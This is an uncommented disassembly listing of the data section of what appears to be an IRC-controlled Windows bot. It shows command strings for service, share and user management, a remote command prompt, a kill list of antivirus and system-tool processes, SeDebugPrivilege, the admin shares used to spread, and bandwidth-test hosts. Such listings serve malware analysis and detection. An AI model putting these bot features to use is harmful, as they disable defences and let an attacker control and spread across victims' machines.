aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: .nsp0:0043972Co
aStop_0		db 'Stop',0             ; DATA XREF: .nsp0:00439728o
		align 4
aStarted	db 'Started',0          ; DATA XREF: .nsp0:00439720o
aStart_0	db 'Start',0            ; DATA XREF: .nsp0:0043971Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: .nsp0:00439714o
		align 4
aList_1		db 'List',0             ; DATA XREF: .nsp0:00439710o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: .nsp0:00439708o
aDelete_0	db 'Delete',0           ; DATA XREF: .nsp0:00439704o
		align 4
aAdded		db 'Added',0            ; DATA XREF: .nsp0:off_4396FCo
		align 4
aAdd		db 'Add',0              ; DATA XREF: .nsp0:off_4396F8o
unk_4397C0	db  2Dh	; -		; DATA XREF: sub_415796+74o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_4397E4	db  2Dh	; -		; DATA XREF: sub_415796+55o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439810	db  2Dh	; -		; DATA XREF: sub_415796+38o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4158BF+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4158BF:loc_4159D7o
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4158BF:loc_4159D0o
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4158BF:loc_4159C9o
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4158BF:loc_4159C2o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4158BF:loc_4159BBo
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4158BF:loc_4159B4o
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4158BF:loc_4159ADo
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4158BF:loc_4159A6o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4158BF:loc_41599Fo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4158BF:loc_415998o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4158BF:loc_41596Do
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4158BF:loc_415966o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4158BF:loc_41595Fo
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4158BF:loc_415958o
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4158BF+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4158BF:loc_41592Do
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4158BF:loc_415923o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4158BF:loc_415919o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4158BF:loc_41590Fo
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4158BF:loc_415905o
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4158BF+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_415A3D+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_415A3D:loc_415B09o
aStarting	db '   Starting',0      ; DATA XREF: sub_415A3D:loc_415B02o
aStoping	db '    Stoping',0      ; DATA XREF: sub_415A3D:loc_415AFBo
aRunning_0	db '    Running',0      ; DATA XREF: sub_415A3D:loc_415AF4o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_415A3D:loc_415AEDo
aPausing	db '    Pausing',0      ; DATA XREF: sub_415A3D:loc_415AE6o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_415A3D:loc_415ADFo
aUnknown_1	db '    Unknown',0      ; DATA XREF: sub_415A3D+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_415A3D+25o
		align 4
unk_439D64	db  2Dh	; -		; DATA XREF: sub_415B7A+ABo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
dword_439D88	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_415B7A+89o
		dd 73252720h, 27h
unk_439DA4	db  2Dh	; -		; DATA XREF: sub_415B7A+57o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 10h
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_415D08+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_415D08+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_415D08+B5o
unk_439DF0	db  2Dh	; -		; DATA XREF: sub_415D08+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_415D08+26o
		align 10h
unk_439E50	db  2Dh	; -		; DATA XREF: sub_415E29+B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 4
unk_439E78	db  2Dh	; -		; DATA XREF: sub_415E29+94o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
unk_439EA8	db  2Dh	; -		; DATA XREF: sub_415E29+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
unk_439EC8	db  2Dh	; -		; DATA XREF: sub_415F6F+394o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_415F6F+36Ao
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_415F6F+33Fo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_415F6F+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_415F6F+2ECo
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_415F6F+2C4o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_415F6F+299o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_415F6F+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_415F6F+246o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_415F6F+21Eo
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_415F6F+1F3o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_415F6F+1CBo
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_415F6F+1A0o
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_415F6F+178o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_415F6F+14Do
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_415F6F+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_415F6F:loc_416088o
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_415F6F:loc_416081o
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_415F6F+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_415F6F+ACo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_415F6F+81o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_415F6F+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_41633D+14Fo
		align 4
unk_43A074	db  2Dh	; -		; DATA XREF: sub_41633D+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_41633D+BEo
		align 4
unk_43A0A8	db  2Dh	; -		; DATA XREF: sub_41633D+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_41633D+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_4164BD:loc_4165DAo
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_4164BD:loc_4165D3o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_4164BD:loc_4165CCo
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_4164BD:loc_4165C5o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_4164BD:loc_4165BEo
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_4164BD:loc_4165A1o
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_4164BD:loc_41659Ao
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_4164BD:loc_416593o
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_4164BD+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_4164BD:loc_416568o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_4164BD:loc_416561o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_4164BD:loc_41655Ao
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4164BD:loc_416550o
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_4164BD+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_4164BD:loc_41652Ao
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_4164BD:loc_416520o
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_4164BD:loc_416516o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_4164BD:loc_41650Co
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_4164BD:loc_416502o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_4164BD+3Bo
		align 10h
dword_43A3B0	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_4165F1+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_43A3DC	db  2Dh	; -		; DATA XREF: sub_4165F1+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
dword_43A404	dd 7530h		; DATA XREF: sub_416A5E+12r
off_43A408	dd offset aRegedit_exe	; DATA XREF: sub_41671A+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_43A510
		dd offset dword_43A504
		dd offset dword_43A4F8
		dd offset dword_43A4EC
		dd offset dword_43A4E0
		dd offset dword_43A4D4
		dd offset dword_43A4C4
		dd offset dword_43A4B8
		dd offset dword_43A4AC
		dd offset dword_43A4A0
		dd offset dword_43A494
		dd offset dword_43A484
		dd offset dword_43A478
		dd offset dword_43A468
dword_43A468	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_41671A+ECo
					; .nsp0:0043A464o
dword_43A478	dd 6E757269h, 78652E34h, 65h ; DATA XREF: .nsp0:0043A460o
dword_43A484	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: .nsp0:0043A45Co
dword_43A494	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	.nsp0:0043A458o
dword_43A4A0	dd 74617373h, 78652E65h, 65h ; DATA XREF: .nsp0:0043A454o
dword_43A4AC	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: .nsp0:0043A450o
dword_43A4B8	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: .nsp0:0043A44Co
dword_43A4C4	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: .nsp0:0043A448o
dword_43A4D4	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: .nsp0:0043A444o
dword_43A4E0	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: .nsp0:0043A440o
dword_43A4EC	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: .nsp0:0043A43Co
dword_43A4F8	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: .nsp0:0043A438o
dword_43A504	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: .nsp0:0043A434o
dword_43A510	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: .nsp0:0043A430o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: .nsp0:0043A42Co
		align 10h
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .nsp0:0043A428o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: .nsp0:0043A424o
		align 4
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: .nsp0:0043A420o
		align 4
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: .nsp0:0043A41Co
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: .nsp0:0043A418o
		align 10h
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: .nsp0:0043A414o
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: .nsp0:0043A410o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: .nsp0:0043A40Co
		align 4
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: .nsp0:off_43A408o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_41671A+191o
		align 10h
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_41671A+5Ao
					; sub_41671A+1F3o
		align 4
unk_43A5D4	db  2Dh	; -		; DATA XREF: sub_416949:loc_4169D0o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_43A5F8	db  2Dh	; -		; DATA XREF: sub_416949+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_43A61C	db  2Dh	; -		; DATA XREF: sub_416949+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_416AE6+33o
unk_43A64C	db  2Dh	; -		; DATA XREF: sub_416B6D:loc_416C9Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A67C	db  2Dh	; -		; DATA XREF: sub_416B6D+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_43A6A4	db  2Dh	; -		; DATA XREF: sub_416B6D:loc_416C53o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_43A6D4	db  2Dh	; -		; DATA XREF: sub_416CC2+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
dword_43A708	dd 234032Dh, 2646D63h, 52202D03h, 746F6D65h, 6F432065h
					; DATA XREF: sub_416CC2+14Co
		dd 6E616D6Dh, 72502064h, 74706D6Fh, 2 dup(0)
		dd offset dword_43A768
		align 8
		dd offset dword_43A760
		align 10h
		dd offset dword_43A75C
		dd offset dword_43A758
		dd offset dword_43A754
		dd offset dword_43A750
dword_43A750	dd 5C3A44h		; DATA XREF: .nsp0:0043A74Co
dword_43A754	dd 2444h		; DATA XREF: .nsp0:0043A748o
dword_43A758	dd 5C3A43h		; DATA XREF: .nsp0:0043A744o
dword_43A75C	dd 2443h		; DATA XREF: .nsp0:0043A740o
dword_43A760	dd 494D4441h, 244Eh	; DATA XREF: .nsp0:0043A738o
dword_43A768	dd 24435049h, 0		; DATA XREF: .nsp0:0043A730o
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_416E91+DEo
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_43A7A4	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41706C+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41706C+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41706C+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41706C+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41706C+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41706C+A8o
		align 4
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41706C+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41706C+9Ao
		align 10h
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41706C+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41706C+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41706C+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41706C+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41706C+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41706C+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41706C+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41706C+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41706C+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41706C+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41706C+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41706C+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41706C+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41706C+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41706C+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41706C+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41706C+23o
		align 10h
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41706C+1Co
		align 10h
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41706C+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_417249+52o
dword_43A9BC	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_417368+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43AA98	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_417368+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_417368:loc_4174CCo
		align 4
aSS_2		db '%s (%s)',0          ; DATA XREF: sub_417368+EBo
dword_43AAC4	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41761C+ABo
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43AB08	dd offset loc_412F4E	; DATA XREF: sub_41761C:loc_417690o
off_43AB0C	dd offset dword_4E414C	; DATA XREF: sub_41761C:loc_417689o
dword_43AB10	dd 6C616944h, 70752Dh	; DATA XREF: sub_41761C+5Bo
dword_43AB18	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h, 2 dup(0)
					; DATA XREF: sub_41761C+48o
dword_43AB30	dd 6AEFh		; DATA XREF: sub_417DE8+4w sub_417DF2r ...
		align 10h
dword_43AB40	dd 173Fh		; DATA XREF: sub_418B79+Dr
		dd 9875h, 9873h
off_43AB4C	dd offset sub_418C48	; DATA XREF: sub_417C94r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43AB58	dd 1B3Fh		; DATA XREF: sub_418CBF+Dr
dword_43AB5C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_419141+2o
					; sub_41914A+2o
off_43AB70	dd offset sub_417CD2	; DATA XREF: sub_419D79+1Cr
dword_43AB74	dd 2			; DATA XREF: sub_41EEC4+Er
					; sub_41EEFD+46r ...
		dd 10h
dword_43AB7C	dd 3F8h			; DATA XREF: sub_4178D8+4Dr
					; sub_417A69+5r ...
off_43AB80	dd offset word_43AB8A	; DATA XREF: sub_417BFE+23r
					; sub_417BFE:loc_417C5Fr ...
		dd offset word_43AB8A
		db 2 dup(0)
word_43AB8A	dw 20h			; DATA XREF: sub_420827+18r
					; .nsp0:off_43AB80o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43AD8C	dd 1			; DATA XREF: sub_417BFE:loc_417C06r
					; sub_417BFE:loc_417C4Ar ...
byte_43AD90	db 2Eh			; DATA XREF: sub_41BFF5:loc_41C2E9r
					; sub_41BFF5+311r ...
		align 4
		dd 1
off_43AD98	dd offset aNull_0	; DATA XREF: sub_41B184:loc_41B4E8r
					; sub_41B184+457r
					; "(null)"
off_43AD9C	dd offset aNull		; DATA XREF: sub_41B184+259r
					; "(null)"
byte_43ADA0	db 1			; DATA XREF: sub_41B98E+E1r
		db 2, 4, 8
		align 8
dword_43ADA8	dd 3A4h			; DATA XREF: sub_41B98E+2Fo
dword_43ADAC	dd 82798260h, 21h, 0	; DATA XREF: sub_41B98E+11Dr
dword_43ADB8	dd 0DFA6h		; DATA XREF: sub_41B98E+C0r
		align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43AE98	dd 1			; DATA XREF: sub_41B98E+3Co
					; sub_41BEC4+Co
dword_43AE9C	dd 16h			; DATA XREF: sub_41BEC4:loc_41BEF9r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43B000	dd 0D2D0920h, 5Dh	; DATA XREF: sub_41BEC4+19o
					; sub_41BFF5:loc_41C55Co
dword_43B008	dd 5Dh,	0		; DATA XREF: sub_41BFF5:loc_41C44Co
dword_43B010	dd 14h			; DATA XREF: sub_41D109+2o
off_43B014	dd offset aExp		; DATA XREF: sub_41D109:loc_41D126r
					; "exp"
		dd 1Dh,	423834h, 1Ah, 423830h, 1Bh, 423828h, 1Fh, 423820h
		dd 13h,	423818h, 21h, 423810h, 0Eh, 423808h, 0Dh, 423800h
		dd 0Fh,	4237F8h, 10h, 4237F0h, 5, 4237E8h, 1Eh,	4237E4h
		dd 12h,	4237E0h, 20h, 4237DCh, 0Ch, 4237D4h, 0Bh, 4237CCh
		dd 15h,	4237C4h, 1Ch, 4237BCh, 19h, 4237B4h, 11h, 4237ACh
		dd 18h,	4237A4h, 16h, 42379Ch, 17h, 423794h, 22h, 423790h
		dd 23h,	42378Ch, 24h, 423788h
dbl_43B0E8	dq 1.797693134862316e308 ; DATA	XREF: sub_41CE44+B7r
					; sub_41CE44:loc_41CF2Br ...
		dd 0
		dd 0FFF80000h
dbl_43B0F8	dq 1.797693134862316e308 ; DATA	XREF: sub_41CE44+92r
					; sub_41CE44:loc_41CF03r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43B110	dt 2.3562723457267347066e313 ; DATA XREF: sub_41D2F1+Dr
					; sub_41D2F1+1Fr
		align 4
tbyte_43B11C	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41D2F1+31r
		align 4
off_43B128	dd offset sub_41D785	; DATA XREF: sub_418C60+Fw
					; sub_41B184+3AAr
off_43B12C	dd offset sub_41D41A	; DATA XREF: sub_418C60+5w
					; sub_41B184+3E2r
off_43B130	dd offset sub_41D480	; DATA XREF: sub_418C60+14w
					; sub_41BFF5+430r
off_43B134	dd offset sub_41D3C0	; DATA XREF: sub_418C60+1Ew
					; sub_41B184+3CBr
off_43B138	dd offset sub_41D468	; DATA XREF: sub_418C60+28w
off_43B13C	dd offset sub_41D785	; DATA XREF: sub_418C60+32w
		dd offset sub_4201EC
		align 10h
		dd offset sub_41E04C
off_43B154	dd offset sub_41E04C	; DATA XREF: sub_41E0A2+29r
dword_43B158	dd 0C0000005h		; DATA XREF: sub_41E765+Ar
					; sub_41E765+11o ...
dword_43B15C	dd 0Bh			; DATA XREF: sub_42152E+Ar
		dd 0
		dd 0C000001Dh, 4, 0
